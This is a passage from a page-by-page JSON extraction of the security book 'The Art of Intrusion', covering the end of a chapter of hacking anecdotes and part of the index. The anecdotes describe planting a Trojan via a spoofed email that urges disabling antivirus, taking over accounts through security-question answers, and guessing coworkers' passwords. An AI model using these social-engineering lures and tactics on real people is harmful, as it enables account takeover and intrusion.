phone number he wanted to call,\nholding down the last digit of the number and at the same time\ntouching the paper clip to the mouthpiece. What followed was a\nseries of clicks and then ringing. I was awestruck. It was the first\ntime in my life when I realized how powerful knowledge could be.\nI immediately began reading everything I could get my hands on.\nIf it was shady information, I had to have it. I used the paperclip\ntrick all through high school until my appetite for darker avenues\nChapter 11\nShort Takes\n255\n"
        },
        {
            "page_number": 277,
            "text": "followed. Perhaps it was to see just how far this newfound avenue\ncould go. That coupled with the thrill of doing something “bad” is\nenough to drive any young 15-year-old punk to the underground.\nWhat followed next was my realization that it took more than\njust knowledge to be a hacker. You had to have that social cun-\nning in order to execute the trap. \nI learned of these programs called Trojans through an online\nfriend who had me load one into my computer. He could do\namazing things like see what I was typing, recording my video\ncam stream, and all kinds of other fun stuff. I was in heaven. I\nresearched all I could about this Trojan and began packing it\ninto popular executables. I would go into chat rooms and try to\nget somebody to download one, but trust was an issue. No one\ntrusted me, and with good reason.\nI went into a random teen IRC chat room and that’s where I\nfound him: a pedophile came in looking for pictures of young kids\nand teens. At first I thought it was a joke, but I decided to play\nalong and see if I could make a victim out of this person.\nI began to chat privately with him posing as a young girl who had\nevery intention of meeting him one day — but not the way he\nthought. This gentleman was sick to say the least. My 15-year-old\ninstincts wanted to do the world justice. I wanted to burn this guy\nso bad he would think twice about fishing for kids again. I tried\non many occasions to send him the Trojan, but he was smarter\nthan me. He had anti-virus software installed that blocked my\nevery attempt. The funny thing was he never suspected me of\nbeing malicious. He thought that perhaps my computer was\ninfected and it was attaching itself to the pictures I attempted to\nsend. I just played dumb. \nAfter a few days of chatting, he began to get pushier. He wanted\ndirty pictures of me and he told me he loved me and wanted to meet\nme. He was a first class scumbag and just the perfect target to burn\nwithout remorse if I could just get in. I had gathered enough infor-\nmation about him to gain access to a few of his email accounts. You\nknow those secret questions they ask you? “What is your favorite\ncolor?” “What is your mother’s maiden name?” All I had to do was\nfish this information out of him and voila I was in. \nThe stuff he was up to was highly illegal. Let’s just say lots of\npornography with children of varying ages. I was sickened.\nThe Art of Intrusion\n256\n"
        },
        {
            "page_number": 278,
            "text": "Then it dawned on me. If he wouldn’t accept the Trojan from me\nmaybe he would accept it from one of his porn buddies. I spoofed\nan email address and wrote a short message. \nCheck out this hot vid. Disable your virus scanner\nbefore downloading because it screws up the quality.\nP.S. You owe me.\nI thought for sure he was going to catch on and I waited patiently\nall afternoon for him to check the email. I had given up. I wasn’t\nmeant for this [social engineering] stuff.\nThen at about 11 p.m. that night it happened. I got the message\ntriggered by my Trojan to tell me it had installed on his machine.\nI had done it! \nI gained access and immediately began copying evidence into a\nfolder [I created on his computer]; I named it “jailbait.” I\nlearned all kinds of information about this guy. His name,\naddress, where he worked, and even what documents he was work-\ning on at the time. \nI couldn’t just call the FBI or the local police [because I was\nafraid just knowing about the material on that man’s computer]\nwould land me in jail, and I was scared. After some more poking\nand prodding I learned he was married and he had kids. This\nwas horrible. \nI did the only thing I knew to do. I sent his wife an email with all\nthe information she needed to access the jailbait file. I then cov-\nered my tracks and unloaded the Trojan. \nThat was my first taste of exploitation of not only code, but emo-\ntions to get something done. Once I had access, I realized it wasn’t\nall it was cut out to be. It required more than just knowledge, it\nrequired cunning, lying, manipulating and hard work. But it\nwas worth every ounce of energy to burn that asshole. I felt like a\nking at 15. And I couldn’t tell a single soul.\nBut I wish I would have never seen the things I did. \n. . . AND YOU DON’T EVEN HAVE TO BE A HACKER\nIt’s clear from many of the stories in this book that most hackers take\nyears developing their knowledge. So it always seems remarkable to me\nChapter 11\nShort Takes\n257\n"
        },
        {
            "page_number": 279,
            "text": "when I run across an exploit involving hacker-type thinking carried out\nby someone with no background in hacking. This is one of those.\nAt the time of this incident, John was college senior majoring in\nComputer Science, and found an intern position at a local electric and\ngas company so that on graduation he’d have not just a degree but\nsome experience. The company put him to work performing Lotus\nNotes upgrades for the employees. Each time he called someone to set\nup an appointment, he’d ask them for their Lotus Notes password so\nhe could perform the upgrade. People had no hesitation in providing\nthe information.\nSometimes, though, he would find himself playing voicemail tag and\nend up with a scheduled appointment but no opportunity to ask for the\npassword in advance. You know what’s coming, and he figured it out for\nhimself: “I found that 80 percent of the people had never changed their\npassword from when Notes had been installed on their system, so my first\ntry was ‘pass.’” \nIf that failed, John would drift around the person’s cubicle and take a\nlittle look-see for a Post-it note with all their passwords, generally stuck\nright in plain view on the monitor, or else hidden (if that’s an appropri-\nate word) under the keyboard or in their top drawer. \nAnd, if that approach still left him empty-handed, he had one more\ncard to play. “My last line of attack was studying the personal items in\ntheir cubicle. Anything that would give a clue to children’s names, pets,\nhobbies, and the like.” Several guesses was most often all it took.\nOne time, though, was harder than usual. “I still remember one\nwoman’s password was giving me a hard time until I noticed that every\npicture had a motorcycle in it.” On a hunch, he tried “harley” . . . and\ngot in. \nTickled by the success, he started keeping track. “I made a game of it\nand got in more than 90 percent of the time, spending less than ten min-\nutes on each one. Those that eluded me generally turned out to be sim-\nple information that I could have found with deeper research — most\noften, children’s birthdays.” \nIt turned out to be a profitable internship, one that “not only provided\nme with some resumé fodder, but also taught me how our first line of\ndefensive against hackers is also our weakest: the users themselves and\ntheir password choices.”\nAnd that seems like a powerful message to end with. If every computer\nuser were to improve his or her passwords tonight — and not leave new\nThe Art of Intrusion\n258\n"
        },
        {
            "page_number": 280,
            "text": "passwords in some easy-to-find place — then tomorrow morning, we\nwould suddenly find ourselves living in a much more secure world.\nWe hope that will be an action message for every reader of this book.\nNOTES\n1. CNet News.com, “Lost World, LAPD: Hacks or Hoaxes?,” by Janet Kornblum, May 30, 1997.\n2. CNet News.com, “The Ten Most Subversive Hacks,” by Matt Lake, October 27, 1999.\nChapter 11\nShort Takes\n259\n"
        },
        {
            "page_number": 281,
            "text": ""
        },
        {
            "page_number": 282,
            "text": "3COM device configuration, determining, 200–202\n9/11, aftermath of, 34–35\nAbagnale, Frank, 46\naccountability, 62–63\nadministrator accounts, renaming, 192\nalerts, 188\naltercasting, 234\nAmerican Registry for Internet Numbers (ARIN),\n100–101\nAnderson, Charles Matthew (Matt)\narrest for Boeing hack, 82–83\nbackground, 70\ncurrent activities, 87\ndumpster diving, 70–71\nhotel services, theft of, 72–73\nphone phreaking, 70–71\nprison time, 84–86\npunishment, 81, 82–84\nrestitution, 82–84\nU.S. District Court hack, 71–72, 73–74\nARIN (American Registry for Internet Numbers),\n100–101\narmored car intrusion. See security company intrusion\nThe Art of Deception, 88, 232, 233\nattribution, 236\nauthentication, countermeasures, 217–218\nauthorized changes, detecting, 188\nbackticked variable injection flaw, 167–168\nbackups, 177–179, 191\nbadges, phony, 130–131, 137\nball grid array (BGA) design, 21\nbank cards, 141\nbank hacks\nbank cards, 141\ncredit cards, 141\nDixie bank, 143, 145–147\nEstonian banks, 139–141\nInternet banking, 139–141\npassword cracking, 142, 148\nSwiss bank, 147–148\nbarging the IIS server, 213\nBerkeley Internet Name Domain (BIND),\nvulnerabilities, 43\nBGA (ball grid array) design, 21\nbillion-dollar gift certificate, 253–254\nBIND (Berkeley Internet Name Domain),\nvulnerabilities, 43\nblackout, during penetration testing, 121–122\nBoeing, security seminary, 75–79\nBoeing hacks (Matt and Costa)\nbreak-in detected, 76–77\nbreaking password encryption, 76\ncountermeasures, 88\ninsight, 87–88\nrestitution, 82–83\nsurveillance, 77–81\nBoeing hacks (ne0h), 27–28\nBoelling, Don\narrests, 82–83\ndetection, 75–79\nintrusion goes public, 81\npunishing the hackers, 83–84\nsurveillance, 79–81\nbooks and publications\nThe Art of Deception, 88, 232, 233\nCatch Me If You Can, 46\nThe Eudaemonic Pie, 3\nTakedown, 24\nBrock\n3COM device configuration, determining,\n200–202\naccessing the company system, 211–215\nbackground, 195–196\nbarging the IIS server, 213\ncountermeasures, 216–218\nhackers’ background, 195–196\nidentifying a router, 198–199\nmapping the network, 197–198, 202–207\npasswords, cracking, 200, 210, 214\nping sweeps, 202–203\nport scanning, 199–201\nremote control of a PC, 208–211\nresearching the target, 196–197\nreverse DNS lookup, 197–198\nsuccess, 215\ntrapped in a DMZ, 202–207\nBurns, Eric (Zyklon), 35–40, 43–44\ncasino hack\naftermath, 18–20\navoiding detection, 10–11\ncountermeasures, 20\ndamage costs, 18–20\ndevelopment phase, 4–6\nfirmware, 5–8\ngetting caught, 16–18\ninsight, 20\nplaying the slots, 8–16\npunishment, 18\nrandom number generator\nmanipulating the slots, 10\nreverse engineering, 12–13\nrewriting, 6–8\ntrue randomness, 20\nresearch phase, 2–4\nwearable computer, 13–16\n261\nINDEX\n"
        },
        {
            "page_number": 283,
            "text": "Catch Me If You Can, 46\ncease-and-desist process, 125\nChameleon, 27\nchecksumming (hashing), 21\nChinese university hack, 25–27\nchip on-board packaging, 21\ncircumventing processes, 65\nCitrix Metaframe vulnerability, 144, 145\nCoke vending machine password, 250\ncold readings, 222–223, 236\nComrade\nbackground, 23\nbusted, 30–32\ncurrent activities, 40–41\nand Khalid Ibrahim, 25–27\nand ne0h, 22–25\nSIPRNET hack, 28–29\ncops and robbers\nBoeing hack\nbreak-in detected, 76–77\nbreaking password encryption, 76\ncountermeasures, 88\ninsight, 87–88\nsurveillance, 77–81\nBoeing security seminary, 75–79\ncorporate firewalls, 186\nCosta (Katsaniotis, Costa)\narrest for Boeing hack, 82–83\nbackground, 69–70\ncurrent activities, 87\ndumpster diving, 70–71\nhotel services, theft of, 72–73\nphone phreaking, 70–71, 84–86\nprison time, 84–86\npunishment, 81, 82–84\nrestitution, 82–84\nU.S. District Court hack, 71–72, 73–74\ncosts of hacking. See damage estimates\ncountermeasures\naccountability, 62–63\nauthentication, 217–218\nbank hacks, 150\nBGA (ball grid array) design, 21\ncasino hack, 20\nchecksumming (hashing), 21\nchip on-board packaging, 21\ncircumventing processes, 65\ncrackers\nadministrator accounts, renaming, 192\nalerts, 188\nauthorized changes, detecting, 188\nbackups, protecting, 191\ncredential storage, preventing, 192–193\ndefense in depth, 193\nDNS guessing, preventing, 190\nhardening Windows, 192–193\nincident response, 188\ninstallation files, removing, 192\nMicrosoft SQL servers, protecting, 190–191\nMicrosoft VPN services, 192\nMS SQL injection attacks, protecting against,\n191–192\nnetwork shares, protecting, 190\npassword management, 189–190\npermissions, 188–189\nport scanning, 187\nsensitive files, protecting, 191\nsystem-management tasks, 187–188\nthird-party applications, 190\n“dead” cubicles, 64\ndefault firewall rules, 111\ndefense-in-depth model, 45, 149\nDMZ (demilitarized zone), 45\ne-mail snooping, 111–112\nexcessive privileges, 66\nexiting personnel, 64\nfiltering unnecessary services, 218\nfirewalls, 186–187\nfirmware access, 20\nhardening, 218\ninformation leakage, 110\ninsider abuse, 62–66\nmisconfigured proxy servers, 112\nnetwork access protection, 136\nnetwork monitoring, 45–46\non-site visitor policies, 65\nOperation Eligible Receiver, 41–42\npassword management, 63, 217\npassword security, 136, 150\npatch management, 44–45\npenetration testing, 135–137\nphone number sniffing, 110\nphysical access, 63–64\nport restrictions, 113\nreverse DNS lookup, 111–112\nreviewing firewall rules, 136\nrole-based accounts, 62–63\nsecuring personal laptops, 217\nsocial engineering, 110, 238\nsoftware integrity audits, 66\nsoftware inventory and auditing, 65–66\nstatic passwords, 88\ntailgating, 136\ntarget-rich environments, 63\nTCP port 53, blocking access to, 111\ntemporary workarounds, 216\nterrorist intrusions, 44–46\nTexas prison hack, 62–66\nunauthorized hardware, 64–65\nusing high ports, 216\nzero-day exploits, 45\nzone transfer, 111\ncrackers. See also hackers; two-year hack\ncountermeasures\nadministrator accounts, renaming, 192\nalerts, 188\nauthorized changes, detecting, 188\nbackups, protecting, 191\ncredential storage, preventing, 192–193\ndefense in depth, 193\nDNS guessing, preventing, 190\nfirewalls, 186–187\nhardening Windows, 192–193\nincident response, 188\ninstallation files, removing, 192\nMicrosoft SQL servers, protecting, 190–191\nMicrosoft VPN services, 192\nMS SQL injection attacks, protecting against,\n191–192\nnetwork shares, protecting, 190\npassword management, 189–190\npermissions, 188–189\nIndex\n262\n"
        },
        {
            "page_number": 284,
            "text": "port scanning, 187\nsensitive files, protecting, 191\nsystem-management tasks, 187–188\nthird-party applications, 190\ncouriers, 183\nmotivation, 154\ncrackers, individual\nErik\nbusted, 163–164\nclose call, 160–161\ndownloading source code, 164–165\ndumping Registry information, 161\nexamining Internet Explorer history, 162\nhacking target applications, 161–163\nhacking the target, 159–160\nidentifying the target, 158–159\nknown plaintext attack, 165–166\npassword cracking, 157–159, 165–166\nport scans, 155–157\nretrieving licensing keys, 161–162\ntracing network packets, 162–163\nRobert\naccessing the help desk, 171–173\nbackground, 166, 168–169\nbackticked variable injection flaw, 167–168\nbackup dangers, 177–179\ndiscovering server names, 170–171\ndownloading source code, 180–182\ne-mail addresses, retrieving, 178\nhacking video post production software, 169–177\nOutlook.pst file, retrieving, 178\npasswords, cracking, 175, 178–179, 180\npasswords, observations on, 179–180\nporn spam, 167–168\nrainbow tables attack, 180\nretrieving mailing lists, 167–168\nsetup.pl exploit, 167–168\nsharing with other crackers, 182–185\nSQL injection attack, 173–177\nuploading to protected directories, 172\ncredential storage, preventing, 192–193\ncredibility, 233\ncredit cards, 141\ndamage estimates\ncasino hack, 18–20\nLamo, Adrian, 105, 109–110\nLexis/Nexis hack, 105\nMicrosoft hack, 100\ntheft of hotel services, 73\nDavis, Chad, 39–40\n“dead”cubicles, 64\ndecompiling. See reverse engineering\ndefense in depth, 193\nDefense Information Systems Network Equipment\nManager (DEM), 27\ndefense strategies. See countermeasures\ndefense-in-depth model, 45, 149\nDEM (Defense Information Systems \nNetwork Equipment Manager), 27\ndemilitarized zone (DMZ), 45, 202–207\ndesire to help, 235–236\ndistracting the target, 234–235\nDixie bank hack, 143, 145–147\nDMZ (demilitarized zone), 45, 202–207\nDNS (Domain Name Servers)\nguessing, preventing, 190\nreverse DNS lookup, 95–96\nreverse lookup\ncountermeasures, 111–112\nExcite@Home hack, 95–96\nsecurity company intrusion, 197–198\nvulnerabilities, 43\nDomain Name Servers (DNS)\nguessing, preventing, 190\nreverse DNS lookup, 95–96\nreverse lookup\ncountermeasures, 111–112\nExcite@Home hack, 95–96\nsecurity company intrusion, 197–198\nvulnerabilities, 43\ndoor sensors, outsmarting, 133–134\ndownloading, source code, 164–165, 180–182\ndumping Registry information, 161\ndumpster diving, 70–71, 118, 120–121\nDykes, Dustin\naccessing internal documents, 129–130\nthe attack, 127–128\nbackground, 124\ncease-and-desist process, 125\ncountermeasures, 135–137\nestablishing wireless access, 127–128\nethics of social engineering, 135\nground rules, 125–126\nhand warmer trick, 133–134\nl0phtCrack, 128–129\nlogging keystrokes, 130–132\noutsmarting door sensors, 133–134\npassword cracking, 128–129\nphony badges, 130–131, 137\nplanning, 126–127\nred teaming, 126–127\nREX (Request to Exit), 133\nshoulder surfing, 126–127\ntailgating, 132–133\ntest results, 134–135\nelectronic attack on the U. S., vulnerabilities, 41–42\ne-mail\naddresses, retrieving, 178\nOutlook.pst file, retrieving, 178\nsniffing, 122\nsnooping, countermeasures, 111–112\nencryption, breaking passwords, 128–129\nErik\nbusted, 163–164\nclose call, 160–161\ndownloading source code, 164–165\ndumping Registry information, 161\nexamining Internet Explorer history, 162\nhacking target applications, 161–163\nhacking the target, 159–160\nidentifying the target, 158–159\nknown plaintext attack, 165–166\npassword cracking, 157–159, 165–166\nport scans, 155–157\nretrieving licensing keys, 161–162\ntracing network packets, 162–163\nEstonian bank hack, 139–141\nethics of social engineering, 135\nThe Eudaemonic Pie, 3\nIndex\n263\n"
        },
        {
            "page_number": 285,
            "text": "Index\n264\nEuropean security company intrusion. See security\ncompany intrusion\nexamining network connections, 161\nexcessive privileges, 66\nExcite@Home hack, 93–98\nexiting personnel, 64\nexploits. See also vulnerabilities\ndefinition, 43\nmisconfigured proxy servers, 94, 99\nsetup.pl, 167–168\nzero-day, 45\nFBI\nchallenged by ne0h, 39\neavesdropping by Adrian Lamo, 107–108\ngLobaLheLL roundup, 39\nKhalid Ibrahim as informant, 39–40\nWhite House break-in, 35–39\nfear, and social engineering, 237\nfederal prisons, 49–51\nfiltering unnecessary services, 218\nfirewalls\ncorporate, 186\ndefault rules, 111\npersonal, 186–187\nrules review, 136\nstateful inspection, 186\nTCP port 53, blocking access to, 111\nfirmware. See also software\naccess control, 20\nreverse engineering, 5–6\nrewriting, 6–8\nforcing the target into a role, 234\nFrontPage, vulnerabilities, 172\nGabriel\nbackground, 143–145\nDixie bank hack, 145–147\nlong-distance bank hacks, 145–148\nSpy Lantern Keylogger, 144, 148\nSwiss bank hack, 147–148\nget-out-of-jail-free card, 118\ngLobaLheLL group, 26, 35–39\nGordon, Michael, 33\nGregory, Patrick, 39–40\nguidelines for social engineering training, 238–239\nH4G (Hacking for Girlies), 100\nhackers\ninto commercial software. See crackers\ngroups\ngLobaLheLL, 35–39\nH4G (Hacking for Girlies), 100\nMilw0rm, 33\nintuition, 207\nonline sites\nEfnet, 24–25\nNetcraft.com, 94–95\nsharing with other crackers, 182–185\nWarez sites, 182–185\nhackers, individual\nAnderson, Charles Matthew. See also\nBoeing hacks (Matt and Costa)\narrest for Boeing hack, 82–83\nbackground, 70\ncurrent activities, 87\ndumpster diving, 70–71\nhotel services, theft of, 72–73\nphone phreaking, 70–71\nprison time, 84–86\npunishment, 81, 82–84\nU.S. District Court hack, 71–72, 73–74\nBrock\n3COM device configuration, determining,\n200–202\naccessing the company system, 211–215\nbackground, 195–196\nbarging the IIS server, 213\ncountermeasures, 216–218\nhackers’ background, 195–196\nidentifying a router, 198–199\nmapping the network, 197–198, 202–207\npasswords, cracking, 200, 210, 214\nping sweeps, 202–203\nport scanning, 199–201\nremote control of a PC, 208–211\nresearching the target, 196–197\nreverse DNS lookup, 197–198\nsuccess, 215\ntrapped in a DMZ, 202–207\nBurns, Eric (Zyklon)\npunishment, 40\nWhite House break-in, 35–39, 43–44\nButler, William. See Texas prison hack\nCerebrum. See Anderson, Charles Matthew (Matt)\nChameleon, 27\nComrade\nbackground, 23\nbusted, 30–32\ncurrent activities, 40–41\nand Khalid Ibrahim, 25–27\nand ne0h, 22–25\nSIPRNET hack, 28–29\nCosta. See Katsaniotis, Costa\nDavis, Chad, 39–40\nDykes, Dustin\naccessing internal documents, 129–130\nthe attack, 127–128\nbackground, 124\ncease-and-desist process, 125\ncountermeasures, 135–137\nestablishing wireless access, 127–128\nethics of social engineering, 135\nground rules, 125–126\nhand warmer trick, 133–134\nl0phtCrack, 128–129\nlogging keystrokes, 130–132\noutsmarting door sensors, 133–134\npassword cracking, 128–129\nphony badges, 130–131, 137\nplanning, 126–127\nred teaming, 126–127\nREX (Request to Exit), 133\nshoulder surfing, 126–127\ntailgating, 132–133\ntest results, 134–135\nGabriel\nbackground, 143–145\nDixie bank hack, 145–147\nlong-distance bank hacks, 145–148\nSpy Lantern Keylogger, 144, 148\nSwiss bank hack, 147–148\nGregory, Patrick, 39–40\n"
        },
        {
            "page_number": 286,
            "text": "Juhan, 140–143\nKatsaniotis, Costa. See also Boeing hacks (Matt and\nCosta)\narrest for Boeing hack, 82–83\nbackground, 69–70\ncurrent activities, 87\ndumpster diving, 70–71\nhotel services, theft of, 72–73\nphone phreaking, 70–71, 84–86\nprison time, 84–86\npunishment, 81, 82–84\nU.S. District Court hack, 71–72, 73–74\nLamo, Adrian\nbackground, 93\ncurrent activities, 107–108\ndamage costs, 105, 109–110\neavesdropping on the FBI, 107–108\nExcite@Home hack, 93–98\nfree-form SQL query, 102–103\nkitten rescue, 92–93\nLexis/Nexis hack, 104–105\nMCI WorldCom hack, 98–99\nMicrosoft hack, 99–100\nmisconfigured proxy servers, exploiting, 94, 99\nmonitoring network activity, 96–97\nNew York Times hack, 100–108\nopen shares, 96\npassword cracking, 103–104\npersonal history, 93\npunishment, 107–108\nRAT (Remote Access Trojan), 96\nrestitution to victims, 107–108\nreverse DNS lookup, 95–96\nunique skills, 106–107\nLouis\n3COM device configuration, determining, 200–202\naccessing the company system, 211–215\nbackground, 195–196\nbarging the IIS server, 213\ncountermeasures, 216–218\nhackers’ background, 195–196\nidentifying a router, 198–199\nmapping the network, 197–198, 202–207\npasswords, cracking, 200, 210, 214\nping sweeps, 202–203\nport scanning, 199–201\nremote control of a PC, 208–211\nresearching the target, 196–197\nreverse DNS lookup, 197–198\nsuccess, 215\ntrapped in a DMZ, 202–207\nMatt. See Anderson, Charles Matthew\nMayfield, Alex. See casino hack\nMindPhasr, 39–40\nMostFearD, 36\nMostHateD, 39–40\nMudge. See Zatko, Pieter\nne0h\non 9/11, 35\nbackground, 24\nBoeing hack, 27–28\nchallenge to the FBI, 39\nand Comrade, 22–25\ncurrent activities, 40–41\nIndian Airlines hijacking, 29–30\nand Khalid Ibrahim, 25–27, 32–33\nLockheed Martin hack, 27–28\nSIPRNET hack, 29\nWhite House break-in, 35–39\nSIPRNET hack, 30–32\nWhurley\ncold readings, 222–223\ndirection of approach, 223–224\nfooling the guards, 223–224\nimpersonating an employee, 226–229\nLas Vegas security audits, 222–232\nphony badges, 229–230\npsychology of color, 225–226\nschmoozing casino staffers, 222–223\nZatko, Pieter (Mudge)\nthe attack, 118–119\nbackground, 116\ndumpster diving, 118, 120–121\ne-mail sniffing, 122\nfinal report, 123–124\nfortuitous blackout, 121–122\nget-out-of-jail-free card, 118\nground rules, 117–119\nmeeting the client, 117\nNDAs (nondisclosure agreements), 118–119\ntailgating, 121\nvoicemail snooping, 122\nZyklon. See Burns, Eric\nHacking for Girlies (H4G), 100\nhand warmer trick, 133–134\nhardening, countermeasures, 218\nHarkat ul-Mujahideen group, 34\nHarkat-ul-Ansar group, 34\nhashing (checksumming), 21\nhelp desk, hacking, 171–173\nheuristic information processing, 234–235\nhost names\nreverse DNS lookup\ncountermeasures, 111–112\nExcite@Home hack, 95–96\nsecurity company intrusion, 197–198\nhotel services, theft of, 72–73, 87–88\nIbrahim, Khalid\nbackground investigation, 32–34\nFBI informant, 39–40\nHarkat ul-Mujahideen group, 34\nHarkat-ul-Ansar group, 34\nrecruiting hackers, 25–32\nIDA Pro, 173\nimpersonating an employee, 226–229\nincident response, 188\nIndian Airlines hijacking, 29–30\ninformation leakage, countermeasures, 110\ninsider abuse, 62–66\ninstallation files, removing, 192\nintellectual property hack\nbusted, 163–164\nclose call, 160–161\ndownloading source code, 164–165\ndumping Registry information, 161\nexamining Internet Explorer history, 162\nhacking target applications, 161–163\nhacking the target, 159–160\nidentifying the target, 158–159\nknown plaintext attack, 165–166\npassword cracking, 157–159, 165–166\nIndex\n265\n"
        },
        {
            "page_number": 287,
            "text": "intellectual property hack (continued)\nport scans, 155–157\nretrieving licensing keys, 161–162\ntracing network packets, 162–163\nInteractive Disassembler, 173\nInternet banking, 139–141\nIP addresses\nARIN (American Registry for Internet Numbers),\n100–101\nfinding host names from. See reverse DNS lookup\nnetblocks, 101\nreverse DNS lookup\ncountermeasures, 111–112\nExcite@Home hack, 95–96\nsecurity company intrusion, 197–198\nIraqi Army hack, 250–252\njailbait hack, 255–257\nJuhan, 140–143\nJurassic Park hack, 248–250\nKatsaniotis, Costa\narrest for Boeing hack, 82–83\nbackground, 69–70\ncurrent activities, 87\ndumpster diving, 70–71\nhotel services, theft of, 72–73\nphone phreaking, 70–71, 84–86\nprison time, 84–86\npunishment, 81, 82–84\nrestitution, 82–84\nU.S. District Court hack, 71–72, 73–74\nKeebler Elves, 24\nKeyghost keystroke logger, 131–132\nkeystrokes, logging, 130–132, 144, 148\nkitten rescue, 92–93\nknown plaintext attack, 165–166\nKnuth, Donald, 6–8\nl0pht Heavy Industries, 116. See also penetration testing\nl0phtCrack, 128–129\nl0phtCrack III, 180\nLamo, Adrian\nbackground, 93\ncurrent activities, 107–108\ndamage costs, 105, 109–110\neavesdropping on the FBI, 107–108\nExcite@Home hack, 93–98\nfree-form SQL query, 102–103\nkitten rescue, 92–93\nLexis/Nexis hack, 104–105\nMCI WorldCom hack, 98–99\nMicrosoft hack, 99–100\nmisconfigured proxy servers, exploiting, 94, 99\nmonitoring network activity, 96–97\nNew York Times hack, 100–108\nopen shares, 96\npassword cracking, 103–104\npersonal history, 93\npunishment, 107–108\nRAT (Remote Access Trojan), 96\nrestitution to victims, 107–108\nreverse DNS lookup, 95–96\nunique skills, 106–107\nLas Vegas hack\naftermath, 18–20\navoiding detection, 10–11\ncountermeasures, 20\ndamage costs, 18–20\ndevelopment phase, 4–6\nfirmware, 5–8\ngetting caught, 16–18\ninsight, 20\nplaying the slots, 8–16\npunishment, 18\nrandom number generator\nmanipulating the slots, 10\nreverse engineering, 12–13\nrewriting, 6–8\ntrue randomness, 20\nresearch phase, 2–4\nwearable computer, 13–16\nLas Vegas security audits, 222–232\nlaw enforcement training. See cops and robbers\nLexis/Nexis hack, 104–105\nlicensing keys, retrieving, 161–162\nliking, and social engineering, 236–237\nLockheed Martin hack, 27–28, 42–44\nloft. See l0pht\nlogging keystrokes, 130–132, 144, 148\nLouis\n3COM device configuration, determining, 200–202\naccessing the company system, 211–215\nbackground, 195–196\nbarging the IIS server, 213\ncountermeasures, 216–218\nhackers’ background, 195–196\nidentifying a router, 198–199\nmapping the network, 197–198, 202–207\npasswords, cracking, 200, 210, 214\nping sweeps, 202–203\nport scanning, 199–201\nremote control of a PC, 208–211\nresearching the target, 196–197\nreverse DNS lookup, 197–198\nsuccess, 215\ntrapped in a DMZ, 202–207\nLsaDump2, 161\nmailing lists, retrieving, 167–168\nMarkoff, John, 100\nMatt (Anderson, Charles Matthew)\narrest for Boeing hack, 82–83\nbackground, 70\ncurrent activities, 87\ndumpster diving, 70–71\nhotel services, theft of, 72–73\nphone phreaking, 70–71\nprison time, 84–86\npunishment, 81, 82–84\nrestitution, 82–84\nU.S. District Court hack, 71–72, 73–74\nMayfield, Alex. See casino hack\nMCI WorldCom hack, 98–99\nMcKay, Niall, 27, 30\nmetamorphosis of the spirit, 59\nMicrosoft FrontPage, vulnerabilities, 172\nMicrosoft hack, 99–100\nMicrosoft SQL servers, protecting, 190–191\nMicrosoft VPN services, 192\nMilw0rm group, 33\nMindPhasr, 39–40\nmissing paycheck hack, 247–248\nMIT of China hack, 25–27\nIndex\n266\n"
        },
        {
            "page_number": 288,
            "text": "Mitnick, Kevin\napproached by Columbian drug lord, 41\nThe Art of Deception, 88, 232, 233\nTakedown, 24\nM&M security, 176\nmomentum of compliance, 235\nmoney transport intrusion\n3COM device configuration, determining, 200–202\naccessing the company system, 211–215\nbarging the IIS server, 213\ncountermeasures, 216–218\nhackers’ background, 195–196\nidentifying a router, 198–199\nmapping the network, 197–198, 202–207\npasswords, cracking, 200, 210, 214\nping sweeps, 202–203\nport scanning, 199–201\nremote control of a PC, 208–211\nresearching the target, 196–197\nreverse DNS lookup, 197–198\nsuccess, 215\ntrapped in a DMZ, 202–207\nMostFearD, 36\nMostHateD, 39–40\nMS SQL injection attacks, protecting against, 191–192\nMudge (Zatko, Pieter)\nthe attack, 118–119\nbackground, 116\ndumpster diving, 118, 120–121\ne-mail sniffing, 122\nfinal report, 123–124\nfortuitous blackout, 121–122\nget-out-of-jail-free card, 118\nground rules, 117–119\nmeeting the client, 117\nNDAs (nondisclosure agreements), 118–119\ntailgating, 121\nvoicemail snooping, 122\nNDAs (nondisclosure agreements), 118–119\nne0h\non 9/11, 35\nbackground, 24\nBoeing hack, 27–28\nchallenge to the FBI, 39\nand Comrade, 22–25\ncurrent activities, 40–41\nIndian Airlines hijacking, 29–30\nand Khalid Ibrahim, 25–27, 32–33\nLockheed Martin hack, 27–28\nSIPRNET hack, 29\nWhite House break-in, 35–39\nnetblocks, 101\nNetcraft.com, 94–95\nnetstat command, 96–97, 161\nnetworks\naccess protection, 136\nactivity, monitoring, 96–97\nestablishing wireless access, 127–128\nexamining connections, 161\nintrusions, 161–163\nmapping, 197–198, 202–207\nmonitoring, 45–46\nnetstat command, 161\nshares, 177, 190\ntracert command, 162–163\ntracing packets, 162–163\nNew York Times hack, 100–108\nNietzsche, Friedrich, 59\n9/11, aftermath of, 34–35\nNmap, 199–201\nnondisclosure agreements (NDAs), 118–119\none-way hash, 128–129\non-site visitor policies, 65\nopen shares, 96\nOperation Eligible Receiver, 41–42\nOutlook.pst file, retrieving, 178\npasswords\nbreaking encryption, 76, 128–129\nchanging, 88\nCoke vending machine, 250\ncracking\nbank hacks, 142, 148\ncountermeasures, 217\nextracting password hashes, 157–158\nguessing, 159, 200\nhashes, tables of, 180\nknown plaintext attack, 165–166\nl0phtCrack, 116, 128–129\nl0phtCrack III, 180\nPkCrack, 165–166\npredictability, 103–104\nPwDump2, 180\nrainbow tables attack, 180\nscanning e-mail messages, 178–179\nsearching file contents, 146, 210, 214\ntwo-year hack, 159\nwildcards, 175\nhacker observations, 180\nmanaging, 63, 189–190, 217\none-way hash, 128–129\nprotecting, 136\nRSA SecureID, 37\nstatic, 88\nUnix/Linux password files, 37\npatch management, 44–45\nPC Anywhere, 208–211\npedophile hack, 255–257\npenetration testing\nDykes, Dustin\naccessing internal documents, 129–130\nthe attack, 127–128\nbackground, 124\ncease-and-desist process, 125\ncountermeasures, 135–137\nestablishing wireless access, 127–128\nethics of social engineering, 135\nground rules, 125–126\nhand warmer trick, 133–134\nl0phtCrack, 128–129\nlogging keystrokes, 130–132\noutsmarting door sensors, 133–134\npassword cracking, 128–129\nphony badges, 130–131, 137\nplanning, 126–127\nred teaming, 126–127\nREX (Request to Exit), 133\nshoulder surfing, 126–127\ntailgating, 132–133\ntest results, 134–135\nIndex\n267\n"
        },
        {
            "page_number": 289,
